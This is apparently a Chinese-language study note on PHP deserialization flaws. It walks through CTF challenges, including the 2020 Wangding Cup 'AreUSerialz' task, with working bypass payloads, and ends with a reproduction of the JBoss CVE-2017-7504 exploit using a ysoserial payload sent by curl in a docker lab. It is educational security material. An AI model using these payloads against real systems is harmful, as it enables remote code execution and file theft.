参考:https://www.cnblogs.com/zhengna/p/15661109.html 本文为学习,复现笔记,侵删
思维导图
知识点
【PHP 反序列化】
概念:序列化就是将对象转换成字符串,反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象 原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。 在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。 serialize() //将一个对象转换成一个字符串–序列化 unserialize() //将字符串还原成一个对象–反序列化
s:4:“myqf”; 参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
序列化格式
图中最后应该为:i:19
O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:4:"myqf";}
O代表对象;4代表对象名长度;2代表2个成员变量;
有类与无类
1、有类 class
触发魔术方法
__construct()
__destruct()
__wakeup()
__toString()
......
魔术方法
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法: 参考:https://www.cnblogs.com/20175211lyz/p/11403397.html __construct() //创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用 isset()或 empty()触发 __unset() //在不可访问的属性上使用 unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
2、无类 不具有魔术方法
利用
1、真实应用 java环境 2、各种CTF比赛
危害
1、SQL注入 2、代码执行 3、目录遍历 4、…
等号判断
= 赋值
== 判断
=== 全等于 数值和类型都要一样
本课重点案例:
目录:
- 案例1:PHP反序列化热身题-无类问题-本地
- 案例2:CTF反序列化小真题-无类执行-实例
- 案例3:CTF反序列化练习题-有类魔术方法触发-本地
- 案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例
案例1:PHP反序列化热身题-无类问题-本地
案例演示1:认识序列化
PHP在线执行:http://www.dooccn.com/php/
<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
$s = serialize($a);
echo $s;
?>
案例演示2:本地实例
源码:test.php
<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
?>
输入s:6:"xiaodi" ;成功拿到flag。
有类本地测试:
<?php
class FileHandler{
public $op=2;
public $filename="flag.php";
public $content="myqf";
}
$flag = new FileHandler();
$flag1 = serialize($flag);
echo $flag1;
?>
结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"myqf";}
案例2:CTF反序列化小真题-无类执行-实例
Bugku CTF题目:https://ctf.bugku.com/challenges#flag.php 现在题目没了,看看思路 题目如下,提示hint
打开场景后,是个登录框
这个登录框没啥用,根据提示在url后面加?hint=111,系统返回源代码
审计源代码,发现反序列化漏洞。
漏洞利用:
<1>使用php在线执行工具,将key序列化
<2>构造请求,将序列化后的key放入cookie中,
<3>放行请求,发现并未返回flag。为什么呢?原因是源码这里有2个坑:
以下,将请求中的hint参数删除,并将cookie值改为序列化后的空值,放行请求,成功拿到flag。
案例3:CTF反序列化练习题-有类魔术方法触发-本地
测试代码
<?php
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
在线执行结果
运行结果调用2次析构函数因为析构函数是重新再创建一个对象地址
执行结果说明,
- 创建对象时,会默认调用
__construct() 方法, - 反序列化时,会默认调用
__wakeup() 函数, - 对象被销毁时,会默认调用
__destruct ()函数
案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例
案例:2020-网鼎杯-青龙组-Web-AreUSerialz
地址:https://www.ctfhub.com/#/challenge
进入场景后,显示如下代码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先由ctf命名及代码函数unserialize判断本题考察反序列化知识点
详细解析见博客:
https:
- 第一:获取flag存储flag.php
- 第二:两个魔术方法__destruct __construct
- 第三:传输str参数数据后触发destruct,存在is_valid过滤
- 第四:__destruct中会调用process,其中op=1写入及op=2读取
- 第五:涉及对象FileHandler,变量op及filename,content,进行构造输出
涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过
弱类型绕过
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
__destruct函数中if(this?>op===“2”)代码,对op进行了=判断(强类型)并且op值为字符串2时会赋值为1,process函数中if(this?>op=“2”)代码,对op进行了=判断(强类型)并且op值为字符串2时会赋值为1,process函数中if(this->op == “2”)代码,使用判断(弱类型)(op值为2的情况下才能读取内容), 因此这里存在弱类型比较,可以使用数字2或字符串’ 2’绕过判断。
ascii绕过
is_valid函数还对序列化字符串进行了校验。 因为PHP序列化的时候,若成员被private和protected修饰,会引入不可见字符\x00,这些字符对应的ascii码为0,这是个ASCII不在32到125之间的字符,经过is_valid函数以后会返回false,导致无法执行到反序列函数。 经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。因此可以改成public来绕过is_valid函数校验。
payload:
<?php
class FileHandler{
public $op=' 2';
public $filename="flag.php";
public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
先序列化
传参,成功拿到flag。
5.JBoss 4.x JBossMQ JMS 反序列化漏洞复现
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
参考:
- https://github.com/joaomatosf/JavaDeserH2HC
- https://www.youtube.com/watch?v=jVMr4eeJ2Po
漏洞环境
执行如下命令启动JBoss AS 4.0.5:
docker-compose up -d
环境启动后,目标为http://your-ip:8080 。
漏洞复现
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet 请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
我们将1.ser文件内容作为POST Body发送:
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
执行docker-compose exec jboss bash 进入容器,可见/tmp/success 已成功创建。
【涉及资源】
https://www.ctfhub.com/#/challenge ctf网鼎杯反序列化题目 https://www.cnblogs.com/20175211lyz/p/11403397.html PHP反序列化基本知识
|